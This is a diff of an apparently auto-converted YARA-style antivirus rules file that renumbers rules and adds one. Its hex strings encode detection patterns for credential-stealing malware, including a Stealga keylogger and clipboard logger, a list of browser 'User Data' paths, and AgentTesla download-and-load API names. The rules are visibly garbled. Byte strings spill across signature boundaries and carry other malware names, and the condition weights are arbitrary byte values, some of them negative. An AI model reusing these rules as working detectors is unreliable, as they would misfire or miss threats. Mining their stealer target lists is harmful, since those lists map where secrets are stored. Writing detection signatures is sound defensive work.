1)*-32465+(#a_65_10 & 1)*29540+(#a_75_11 & 1)*23652+(#a_01_12 & 1)*8192+(#a_2e_13 & 1)*28257+(#a_00_15 & 1)*102) >=5 } -rule _InfrastructureShared_20174{ +rule _InfrastructureShared_21392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -254823,7 +270007,7 @@ rule _InfrastructureShared_20174{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*29281+(#a_31_2 & 1)*29285+(#a_5c_3 & 1)*29295+(#a_65_4 & 1)*30322+(#a_66_5 & 1)*21249+(#a_6e_6 & 1)*26469+(#a_00_8 & 1)*32+(#a_00_10 & 1)*105+(#a_70_11 & 1)*812+(#a_00_12 & 1)*100+(#a_00_13 & 1)*101) >=14 } -rule _InfrastructureShared_20175{ +rule _InfrastructureShared_21393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -254840,7 +270024,7 @@ rule _InfrastructureShared_20175{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_2c_2 & 1)*2+(#a_01_3 & 1)*-28615+(#a_2d_4 & 1)*23085+(#a_00_5 & 1)*32+(#a_55_7 & 1)*28760+(#a_34_8 & 1)*17969) >=7 } -rule _InfrastructureShared_20176{ +rule _InfrastructureShared_21394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0d 00 21 " @@ -254862,7 +270046,7 @@ rule _InfrastructureShared_20176{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28793+(#a_6c_2 & 1)*30018+(#a_65_3 & 1)*25701+(#a_73_4 & 1)*26988+(#a_67_5 & 1)*29486+(#a_01_6 & 1)*27748+(#a_31_7 & 1)*29295+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1) >=10 } -rule _InfrastructureShared_20177{ +rule _InfrastructureShared_21395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -254886,7 +270070,7 @@ rule _InfrastructureShared_20177{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_61_2 & 1)*25193+(#a_77_3 & 1)*29298+(#a_63_4 & 1)*27247+(#a_72_5 & 1)*29282+(#a_70_6 & 1)*400+(#a_01_7 & 1)*28528+(#a_80_8 & 1)*-25531+(#a_8b_9 & 1)*29952+(#a_00_10 & 1)*144+(#a_00_11 & 1)*67+(#a_00_12 & 1)*32+(#a_35_13 & 1)*25652+(#a_00_16 & 1)*0) >=17 } -rule _InfrastructureShared_20178{ +rule _InfrastructureShared_21396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -254902,7 +270086,7 @@ rule _InfrastructureShared_20178{ ((#a_46_0 & 1)*21283+(#a_30_1 & 1)*-31998+(#a_62_2 & 1)*25906+(#a_00_4 & 1)*109+(#a_00_5 & 1)*111+(#a_00_8 & 1)*32+(#a_00_9 & 1)*37) >=5 } -rule _InfrastructureShared_20179{ +rule _InfrastructureShared_21397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0b 00 21 " @@ -254919,7 +270103,7 @@ rule _InfrastructureShared_20179{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*51+(#a_61_3 & 1)*11585+(#a_00_5 & 1)*118+(#a_19_6 & 1)*1+(#a_2d_7 & 1)*2305+(#a_00_9 & 1)*32+(#a_52_10 & 1)*17667) >=5 } -rule _InfrastructureShared_20180{ +rule _InfrastructureShared_21398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -254939,7 +270123,7 @@ rule _InfrastructureShared_20180{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*9509+(#a_65_2 & 1)*29281+(#a_54_4 & 1)*10280+(#a_68_5 & 1)*18780+(#a_73_6 & 1)*27499+(#a_6e_7 & 1)*23667+(#a_52_8 & 1)*17996+(#a_36_10 & 1)*28503+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1) >=13 } -rule _InfrastructureShared_20181{ +rule _InfrastructureShared_21399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 19 00 21 " @@ -254973,7 +270157,7 @@ rule _InfrastructureShared_20181{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*28503+(#a_20_2 & 1)*27749+(#a_74_3 & 1)*25970+(#a_69_4 & 1)*25701+(#a_01_5 & 1)*29285+(#a_65_6 & 1)*29301+(#a_00_7 & 1)*14+(#a_6c_8 & 1)*18223+(#a_69_9 & 1)*29806+(#a_61_10 & 1)*29545+(#a_56_11 & 1)*31084+(#a_6c_12 & 1)*26723+(#a_65_13 & 1)*24951+(#a_6c_14 & 1)*25955+(#a_00_15 & 1)*68+(#a_01_16 & 1)*-28615+(#a_2d_17 & 1)*23085+(#a_41_18 & 1)*19791+(#a_61_19 & 1)*281+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1) >=25 } -rule _InfrastructureShared_20182{ +rule _InfrastructureShared_21400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -254995,7 +270179,7 @@ rule _InfrastructureShared_20182{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*29541+(#a_42_2 & 1)*25970+(#a_70_3 & 1)*27503+(#a_63_4 & 1)*30569+(#a_65_5 & 1)*29296+(#a_42_6 & 1)*27745+(#a_63_7 & 1)*28787+(#a_61_8 & 1)*11585+(#a_5c_9 & 1)*29537+(#a_52_10 & 1)*20559+(#a_2d_11 & 1)*31277+(#a_2d_13 & 1)*2305) >=14 } -rule _InfrastructureShared_20183{ +rule _InfrastructureShared_21401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -255007,12 +270191,45 @@ rule _InfrastructureShared_20183{ $a_69_4 = {6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 25 30 38 58 2d 25 30 34 58 2d 25 30 34 58 2d 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 39 03 50 72 6f 78 79 2d 41 75 74 } //26470 $a_74_5 = {63 61 74 65 3a 20 42 61 73 69 63 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 38 03 50 72 6f 78 79 2d 41 75 74 68 65 6e 74 69 63 61 74 65 3a 20 4e 54 4c 4d 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 48 03 52 00 6f } //25960 $a_00_7 = {65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2c 03 61 61 61 62 62 62 63 63 63 64 64 64 90 19 01 09 61 2d 7a } //92 - $a_30_8 = {39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 bc 02 00 0f 00 0f 00 0f 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 48 44 31 32 33 21 4d 54 42 00 01 00 34 81 01 28 28 5c 61 66 68 61 73 70 65 6e 64 65 73 5c 62 61 6d 62 } //11585 + $a_30_8 = {39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 ba 02 00 67 00 67 00 1d 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 67 61 2e 44 53 4b 21 4d 54 42 00 64 00 09 81 01 4b 65 79 6c 6f 67 67 65 72 64 00 0f 81 01 43 6c 69 70 62 } //11585 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_39_2 & 1)*12378+(#a_62_3 & 1)*28718+(#a_69_4 & 1)*26470+(#a_74_5 & 1)*25960+(#a_00_7 & 1)*92+(#a_30_8 & 1)*11585) >=4 } -rule _InfrastructureShared_20184{ +rule _InfrastructureShared_21402{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,67 00 67 00 1d 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 67 61 2e 44 53 4b 21 4d 54 42 00 64 00 09 81 01 4b 65 79 6c 6f 67 67 65 72 64 00 0f 81 01 43 6c 69 70 62 6f 61 72 64 4c 6f 67 67 65 72 64 00 0c 81 01 53 63 } //21539 + $a_6e_1 = {6f 67 67 65 72 01 00 13 81 01 51 51 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 01 00 1e 81 01 45 70 69 63 20 50 72 69 76 61 63 79 20 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 01 00 0f 81 01 54 6f 72 63 68 5c 55 73 65 72 20 44 61 74 61 01 00 10 81 01 43 68 72 6f 6d 65 5c 55 73 65 72 20 } //25970 + $a_61_2 = {00 12 81 01 43 68 72 6f 6d 69 75 6d 5c 55 73 65 72 20 44 61 74 61 01 00 15 81 01 43 65 6e 74 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 01 00 17 81 01 42 72 61 76 65 2d 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 01 00 0e 81 01 45 64 67 65 5c 55 73 65 72 20 44 61 74 61 01 00 14 81 01 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 } //24900 + $a_61_3 = {00 11 81 01 4f 72 62 69 74 75 6d 5c 55 73 65 72 20 44 61 74 61 01 00 11 81 01 53 70 75 74 6e 69 6b 5c 55 73 65 72 20 44 61 74 61 01 00 10 81 01 4b 6f 6d 65 74 61 5c 55 73 65 72 20 44 61 74 61 01 00 10 81 01 43 6f 6f 77 6f 6e 5c 55 73 65 72 20 44 61 74 61 01 00 10 81 01 6c 69 65 62 61 6f 5c 55 73 65 72 20 44 61 74 61 01 00 0e 81 01 55 72 61 6e 5c } //24900 + $a_72_4 = {44 61 74 61 01 00 0f 81 01 37 53 74 61 72 5c 55 73 65 72 20 44 61 74 61 01 00 10 81 01 44 72 61 67 6f 6e 5c 55 73 65 72 20 44 61 74 61 01 00 18 81 01 43 6f 63 43 6f 63 5c 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 01 00 0f 81 01 41 6d 69 67 6f 5c 55 73 65 72 20 44 61 74 61 01 00 11 81 01 49 72 } //29525 + $a_75_5 = {5c 55 73 65 72 20 44 61 74 61 01 00 10 81 01 43 68 65 64 6f 74 5c 55 73 65 72 20 44 61 74 61 01 00 1a 81 01 45 6c 65 6d 65 6e 74 73 20 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 01 00 10 81 01 43 69 74 72 69 6f 5c 55 73 65 72 20 44 61 74 61 01 00 17 81 01 59 61 6e 64 65 78 42 72 6f 77 73 65 72 5c 55 73 65 } //25705 + $a_61_6 = {61 01 00 12 81 01 51 49 50 20 53 75 72 66 5c 55 73 65 72 20 44 61 74 61 01 00 11 81 01 56 69 76 61 6c 64 69 5c 55 73 65 72 20 44 61 74 61 00 00 78 bc 02 00 0f 00 0f 00 0f 00 21 23 48 53 54 52 3a 57 69 6e } //8306 + $a_47_7 = {6c 6f 61 64 65 72 2e 4b 48 48 44 31 32 33 21 4d 54 42 00 01 00 34 81 01 28 28 5c 61 66 68 61 73 70 65 6e 64 65 73 5c 62 61 6d 62 75 73 73 6b } //12851 + $a_75_8 = {69 6c 73 74 72 6b 6b 65 6c 69 67 68 65 64 73 66 6c 65 6c 73 65 72 6e 65 01 00 32 81 01 53 6f 66 74 77 61 72 65 5c 55 6e 70 65 72 66 65 63 74 6e 65 73 73 36 30 5c 50 72 6f 64 75 6b 74 63 68 65 66 73 31 34 33 5c 72 65 74 61 72 64 65 6e 74 01 00 3d 81 01 53 6f 66 74 77 61 72 65 } //25717 + $a_67_9 = {6d 6c 69 67 67 72 65 6c 73 65 72 31 36 34 5c 6f 76 65 72 6f 66 66 65 6e 73 69 76 65 6e 65 73 73 5c 6b 6f 6e 64 65 6e 73 61 74 69 6f 6e 65 6e 73 01 00 31 81 01 25 45 76 61 6c 75 65 72 69 6e 67 73 66 75 6e 6b 74 69 6f 6e 73 25 5c 64 72 69 6e 67 6c 65 5c 64 65 6d 6f 6e 74 65 72 69 6e 67 65 72 73 2e 75 6e } //19548 + $a_66_11 = {77 61 72 65 5c 6b 6f 72 73 69 6b 61 6e 73 6b 65 5c 6c 61 65 72 65 62 6f 65 67 65 72 5c 73 6b 72 75 65 73 74 69 6b 73 62 6e 6b 65 6e 73 5c 6f 75 74 63 61 74 63 68 65 73 01 00 41 81 01 25 6d 6f 64 73 74 61 6e 64 65 72 65 73 25 5c 66 6f 72 6e 69 63 61 74 65 73 5c 62 61 72 6f 6c 6f 67 79 5c 75 64 6b 6c 69 70 73 62 67 65 72 6e 65 73 5c } //21249 + $a_65_12 = {76 61 64 74 72 65 2e 53 74 65 01 00 2c 81 01 5c 62 75 67 68 69 6e 64 65 73 5c 61 6d 70 68 69 6d 6f 72 75 6c 61 5c 61 6e 61 73 74 61 73 69 75 73 5c 54 75 74 65 6c 65 2e 69 6e 69 01 00 3b 81 01 25 51 75 69 6c 65 75 74 65 25 5c 52 65 63 6f 6c 6c 65 63 74 65 64 5c 42 65 72 65 74 74 65 6e 73 33 36 5c 72 65 66 75 67 69 6e 67 5c 63 65 } //26989 + $a_6c_13 = {79 64 72 6f 63 65 6c 65 01 00 16 81 01 35 5c 6a 6f 68 6e 61 73 5c 66 61 69 72 79 6c 61 6e 64 2e 64 6c 6c 01 00 18 81 01 24 24 5c 6d 61 6e 6b 65 72 6e 65 73 5c 6c 73 6b 65 6e 64 65 2e 6f 72 64 01 00 27 81 01 28 28 5c 74 75 6e 6e 65 6c 64 61 6c 65 6e 73 5c 73 70 72 79 64 5c 67 79 6e 65 63 6f } //26736 + $a_72_14 = {75 73 2e 6f 76 65 01 00 16 81 01 25 70 68 72 61 74 72 69 65 73 25 5c 69 6e 74 69 6d 69 64 61 74 65 01 00 0b 81 01 73 70 72 6f 67 67 65 6e 69 65 72 01 00 0a 81 01 47 72 75 65 6c 69 67 31 31 38 01 00 0f 81 01 6b 72 79 64 73 72 65 76 69 64 65 72 65 64 65 00 00 78 bc 02 00 12 00 12 00 12 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 74 65 } //26736 + $a_61_15 = {52 49 41 21 4d 54 42 00 01 00 0c 00 41 00 67 00 65 00 6e 00 74 00 20 00 01 00 2c 00 64 00 61 00 74 00 61 00 2f 00 62 00 6f 00 79 00 46 00 69 00 72 00 73 00 74 00 4e 00 61 00 6d 00 65 00 73 00 2e 00 74 00 78 00 74 00 01 00 2e 00 64 00 61 00 74 00 61 00 2f 00 67 00 69 00 72 00 6c 00 46 00 69 00 72 00 73 00 74 } //25964 + $a_00_17 = {73 00 2e 00 74 00 78 00 74 00 01 00 24 00 64 00 61 00 74 00 61 00 2f 00 6c 00 61 00 73 00 74 00 4e 00 61 00 6d 00 65 00 73 00 2e 00 74 00 78 00 74 00 01 00 2c 00 4d 00 61 00 74 00 72 00 69 00 78 00 45 00 64 00 69 00 74 00 6f 00 72 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 0a } //109 + $a_62_18 = {65 71 75 65 73 74 01 00 0b 01 41 53 44 61 64 41 44 61 64 41 44 01 00 0b 01 57 65 62 52 65 73 70 6f 6e 73 65 01 00 28 00 64 00 61 00 74 00 61 00 2f 00 77 00 6f 00 72 00 6c 00 64 00 63 00 69 00 74 00 69 00 65 00 73 00 2e 00 63 00 73 00 76 00 01 00 1c 00 52 00 65 00 73 00 65 00 74 00 20 00 4d 00 61 00 74 } //22273 + $a_00_20 = {73 00 01 00 56 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 64 00 69 00 73 00 74 00 61 00 6e 00 63 00 65 00 32 00 34 00 2e 00 6f 00 72 00 67 00 2f 00 72 00 6f 00 75 00 74 00 65 00 2e 00 6a 00 73 00 6f 00 6e 00 3f 00 73 00 74 00 6f 00 70 00 73 00 3d 00 01 00 24 00 64 00 61 00 74 } //99 + $a_00_22 = {64 00 65 00 6e 00 61 00 6d 00 65 00 73 00 2e 00 74 00 78 00 74 00 01 00 26 00 49 00 6d 00 61 00 67 00 69 00 6e 00 65 00 72 00 2e 00 6d 00 61 00 6c 00 68 00 65 00 75 00 72 00 65 00 75 00 78 00 01 00 19 01 4d 61 74 72 69 78 45 64 69 74 6f 72 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 01 00 1c 01 4d 61 74 72 69 78 45 64 69 74 6f 72 2e 46 } //99 + $a_31_23 = {72 65 73 6f 75 72 63 65 73 01 00 20 01 4d 61 74 72 69 78 45 64 69 74 6f 72 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 20 01 4d 61 74 72 69 78 45 64 69 74 6f 72 2e 41 64 64 4d 61 74 72 69 78 2e 72 65 73 6f 75 72 63 65 73 01 00 21 01 4d 61 74 72 69 78 45 64 69 74 6f 72 2e 45 64 69 74 4d 61 74 72 69 78 2e } //29295 + $a_6f_24 = {72 63 65 73 00 00 78 bc 02 00 12 00 12 00 12 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 31 38 36 21 4d 54 42 00 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 81 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 0f } //25970 + $a_72_25 = {61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 81 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 0e 81 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 08 81 01 } //385 + $a_65_26 = {62 6c 79 01 00 0b 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 01 00 05 81 01 44 4f 55 4e 41 01 00 25 81 01 24 35 35 65 32 62 64 31 39 2d 63 38 63 63 2d 34 66 62 36 2d 38 63 66 64 2d 61 63 37 64 38 61 37 34 61 64 30 34 01 00 30 01 70 00 6c 00 72 00 34 00 37 00 32 00 45 00 2b 00 4c 00 71 00 6f 00 42 00 6e 00 6f 00 4f 00 4a 00 6f 00 47 00 75 00 72 00 } //29505 + $a_00_27 = {3d 00 3d 00 01 00 58 01 4b 00 4d 00 45 00 56 00 74 00 52 00 7a 00 78 00 47 00 30 00 6f 00 57 00 6c 00 2f 00 76 00 4f 00 34 00 74 00 6c 00 38 00 38 00 76 00 34 00 68 00 4a 00 63 00 42 00 4e 00 49 00 7a 00 73 00 6f 00 6f 00 38 00 67 00 48 00 54 00 4b 00 4d 00 50 00 6d 00 6f 00 55 00 3d 00 01 00 30 01 65 00 30 } //54 + condition: + ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*25970+(#a_61_2 & 1)*24900+(#a_61_3 & 1)*24900+(#a_72_4 & 1)*29525+(#a_75_5 & 1)*25705+(#a_61_6 & 1)*8306+(#a_47_7 & 1)*12851+(#a_75_8 & 1)*25717+(#a_67_9 & 1)*19548+(#a_66_11 & 1)*21249+(#a_65_12 & 1)*26989+(#a_6c_13 & 1)*26736+(#a_72_14 & 1)*26736+(#a_61_15 & 1)*25964+(#a_00_17 & 1)*109+(#a_62_18 & 1)*22273+(#a_00_20 & 1)*99+(#a_00_22 & 1)*99+(#a_31_23 & 1)*29295+(#a_6f_24 & 1)*25970+(#a_72_25 & 1)*385+(#a_65_26 & 1)*29505+(#a_00_27 & 1)*54) >=103 + +} +rule _InfrastructureShared_21403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -255033,7 +270250,7 @@ rule _InfrastructureShared_20184{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25966+(#a_6f_2 & 1)*385+(#a_66_3 & 1)*28530+(#a_6c_4 & 1)*25963+(#a_65_5 & 1)*26989+(#a_6c_6 & 1)*26736+(#a_72_7 & 1)*26736+(#a_61_8 & 1)*25964+(#a_00_10 & 1)*109+(#a_62_11 & 1)*22273+(#a_00_13 & 1)*99) >=15 } -rule _InfrastructureShared_20185{ +rule _InfrastructureShared_21404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -255054,7 +270271,7 @@ rule _InfrastructureShared_20185{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*97+(#a_00_4 & 1)*111+(#a_00_6 & 1)*99+(#a_00_8 & 1)*99+(#a_31_9 & 1)*29295+(#a_6f_10 & 1)*25970+(#a_72_11 & 1)*385+(#a_65_12 & 1)*29505+(#a_00_13 & 1)*54+(#a_00_15 & 1)*80+(#a_00_17 & 1)*68) >=18 } -rule _InfrastructureShared_20186{ +rule _InfrastructureShared_21405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -255077,7 +270294,7 @@ rule _InfrastructureShared_20186{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21364+(#a_65_2 & 1)*13604+(#a_00_4 & 1)*66+(#a_00_5 & 1)*85+(#a_00_7 & 1)*97+(#a_00_8 & 1)*340+(#a_00_9 & 1)*51+(#a_50_10 & 1)*19521+(#a_00_11 & 1)*107+(#a_09_12 & 1)*11408+(#a_2d_13 & 1)*14637+(#a_00_15 & 1)*97+(#a_00_17 & 1)*32) >=18 } -rule _InfrastructureShared_20187{ +rule _InfrastructureShared_21406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -255091,7 +270308,7 @@ rule _InfrastructureShared_20187{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112+(#a_00_3 & 1)*97+(#a_00_5 & 1)*114+(#a_00_6 & 1)*54) >=3 } -rule _InfrastructureShared_20188{ +rule _InfrastructureShared_21407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -255107,7 +270324,7 @@ rule _InfrastructureShared_20188{ ((#a_70_0 & 1)*16675+(#a_65_1 & 1)*24864+(#a_6c_2 & 1)*24941+(#a_74_3 & 1)*28271+(#a_77_4 & 1)*28015+(#a_4d_6 & 1)*31091+(#a_68_7 & 1)*25960) >=2 } -rule _InfrastructureShared_20189{ +rule _InfrastructureShared_21408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -255121,7 +270338,7 @@ rule _InfrastructureShared_20189{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*12653+(#a_00_2 & 1)*82+(#a_43_4 & 1)*28672+(#a_00_6 & 1)*67) >=4 } -rule _InfrastructureShared_20190{ +rule _InfrastructureShared_21409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 17 00 21 " @@ -255153,7 +270370,7 @@ rule _InfrastructureShared_20190{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25938+(#a_72_2 & 1)*28531+(#a_75_3 & 1)*29541+(#a_75_4 & 1)*29541+(#a_73_5 & 1)*29230+(#a_74_6 & 1)*26369+(#a_01_7 & 1)*30821+(#a_4d_8 & 1)*-32753+(#a_65_9 & 1)*29283+(#a_78_10 & 1)*11881+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_80_21 & 1)*1+(#a_80_22 & 1)*1) >=23 } -rule _InfrastructureShared_20191{ +rule _InfrastructureShared_21410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 27 00 21 " @@ -255195,7 +270412,7 @@ rule _InfrastructureShared_20191{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26213+(#a_01_2 & 1)*30821+(#a_4d_3 & 1)*-32756+(#a_6e_4 & 1)*25972+(#a_61_5 & 1)*384+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*-100+(#a_80_15 & 1)*-100+(#a_80_16 & 1)*-100+(#a_c2_17 & 1)*0+(#a_2c_19 & 1)*108+(#a_2d_20 & 1)*2305+(#a_00_21 & 1)*112+(#a_09_23 & 1)*11408+(#a_2d_24 & 1)*14637+(#a_2d_25 & 1)*23085+(#a_02_26 & 1)*-28550+(#a_2d_27 & 1)*23085+(#a_61_28 & 1)*11585+(#a_00_30 & 1)*105+(#a_00_33 & 1)*114+(#a_00_35 & 1)*97+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1) >=1 } -rule _InfrastructureShared_20192{ +rule _InfrastructureShared_21411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -255212,7 +270429,7 @@ rule _InfrastructureShared_20192{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_2 & 1)*67+(#a_00_3 & 1)*101+(#a_90_4 & 1)*11617+(#a_41_5 & 1)*11568+(#a_09_6 & 1)*11408+(#a_2d_7 & 1)*14637) >=1 } -rule _InfrastructureShared_20193{ +rule _InfrastructureShared_21412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 1f 00 21 " @@ -255245,7 +270462,7 @@ rule _InfrastructureShared_20193{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_00_2 & 1)*266+(#a_00_4 & 1)*107+(#a_4d_5 & 1)*3584+(#a_00_7 & 1)*108+(#a_00_8 & 1)*121+(#a_00_9 & 1)*282+(#a_00_10 & 1)*101+(#a_00_11 & 1)*364+(#a_00_13 & 1)*108+(#a_00_14 & 1)*10+(#a_00_16 & 1)*101+(#a_00_17 & 1)*116+(#a_00_19 & 1)*110+(#a_00_21 & 1)*52+(#a_00_22 & 1)*114+(#a_68_23 & 1)*28498+(#a_00_25 & 1)*92+(#a_42_26 & 1)*4864+(#a_6c_27 & 1)*21084+(#a_00_28 & 1)*115+(#a_53_29 & 1)*31073+(#a_00_30 & 1)*111) >=30 } -rule _InfrastructureShared_20194{ +rule _InfrastructureShared_21413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -255260,7 +270477,7 @@ rule _InfrastructureShared_20194{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_4d_2 & 1)*24576+(#a_00_4 & 1)*114+(#a_00_5 & 1)*115+(#a_00_6 & 1)*83) >=2 } -rule _InfrastructureShared_20195{ +rule _InfrastructureShared_21414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0b 00 21 " @@ -255278,7 +270495,7 @@ rule _InfrastructureShared_20195{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_78_2 & 1)*13684+(#a_00_3 & 1)*109+(#a_6e_4 & 1)*21306+(#a_00_6 & 1)*45+(#a_00_8 & 1)*76+(#a_09_9 & 1)*11408+(#a_2d_10 & 1)*14637) >=2 } -rule _InfrastructureShared_20196{ +rule _InfrastructureShared_21415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -255298,7 +270515,7 @@ rule _InfrastructureShared_20196{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*52+(#a_00_2 & 1)*55+(#a_00_4 & 1)*53+(#a_00_5 & 1)*52+(#a_00_7 & 1)*69+(#a_00_9 & 1)*56+(#a_00_11 & 1)*54+(#a_00_13 & 1)*53+(#a_00_14 & 1)*54+(#a_70_15 & 1)*24936) >=16 } -rule _InfrastructureShared_20197{ +rule _InfrastructureShared_21416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -255323,7 +270540,7 @@ rule _InfrastructureShared_20197{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*12595+(#a_38_2 & 1)*13357+(#a_01_3 & 1)*25656+(#a_2d_4 & 1)*12337+(#a_2d_5 & 1)*25190+(#a_37_6 & 